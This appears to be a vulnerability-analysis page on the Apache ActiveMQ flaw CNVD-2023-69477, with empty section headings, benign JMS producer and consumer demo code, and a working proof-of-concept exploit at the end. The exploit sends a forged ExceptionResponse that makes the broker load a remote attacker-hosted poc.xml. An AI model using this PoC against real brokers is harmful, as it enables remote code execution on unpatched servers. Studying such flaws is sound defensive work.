ActiveMQ CNVD-2023-69477
ActiveMQ Intro



属性
类型
Quick Start


Analysis










Patch


Last updated

















Last updated
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-all</artifactId>
<version>5.18.2</version>
</dependency>import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class JmsSender {
public static void main(String[] args) {
Connection connection = null;
Session session = null;
try {
String brokerURL = "tcp://127.0.0.1:61616";
// create ConnectionFactory
ConnectionFactory mqConnectionFactory = new ActiveMQConnectionFactory(brokerURL);
connection = mqConnectionFactory.createConnection();
connection.start();
/**
* Session createSession(boolean transacted, int acknowledgeMode) 创建会话
* transacted :表示是否开启事务
* acknowledgeMode:表示会话确认模式
* AUTO_ACKNOWLEDGE 自动确认
* CLIENT_ACKNOWLEDGE 客户确认
*/
session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
/**
* createQueue(String queueName):创建消息队列,指定队列名称,消费者可以根据队列名称获取消息
*/
Destination destination = session.createQueue("queue-app");
MessageProducer producer = session.createProducer(destination);
int massageTotal = 5;
for (int i = 0; i < massageTotal; i++) {
// 创建一个文本消息
TextMessage textMessage = session.createTextMessage("Round " + (i + 1) + "\n");
producer.send(textMessage); // 生产者发送消息
session.commit(); // 会话提交
}
} catch (JMSException e) {
e.printStackTrace();
} finally {
if (session != null) {
try {
session.close(); //关闭会话
} catch (JMSException e) {
e.printStackTrace();
}
}
if (connection != null) {
try {
connection.close(); //关闭连接
} catch (JMSException e) {
e.printStackTrace();
}
}
}
}
}import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class JmsReceiver {
public static void main(String[] args) {
Connection connection = null;
Session session = null;
try {
String brokerURL = "tcp://127.0.0.1:61616";
ConnectionFactory mqConnectionFactory = new ActiveMQConnectionFactory(brokerURL);
connection = mqConnectionFactory.createConnection();
connection.start();
session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("queue-app");
MessageConsumer consumer = session.createConsumer(destination);
int massageTotal = 5;
for (int i = 0; i < massageTotal; i++) {
TextMessage message = (TextMessage) consumer.receive(); // 消费者接收消息。因为对方发送的文本消息,所以可以强转
session.commit(); // 确认消息,告诉中间件,消息已经确认接收
System.out.println((i + 1) + ": " + message.getText()); // 获取消息文本
}
} catch (JMSException e) {
e.printStackTrace();
} finally {
if (session != null) {
try {
session.close();//关闭会话
} catch (JMSException e) {
e.printStackTrace();
}
}
if (connection != null) {
try {
connection.close();//关闭连接
} catch (JMSException e) {
e.printStackTrace();
}
}
}
}
}package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable{
private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}
@Override
public String getMessage() {
return message;
}
}package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.ActiveMQSession;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
public class Main {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new
ActiveMQConnectionFactory("tcp://127.0.0.1:61616");
Connection connection = connectionFactory.createConnection("admin", "admin");
connection.start();
ActiveMQSession session = (ActiveMQSession) connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
ExceptionResponse exceptionResponse = new ExceptionResponse();
exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));
session.syncSendPacket(exceptionResponse);
connection.close();
}
}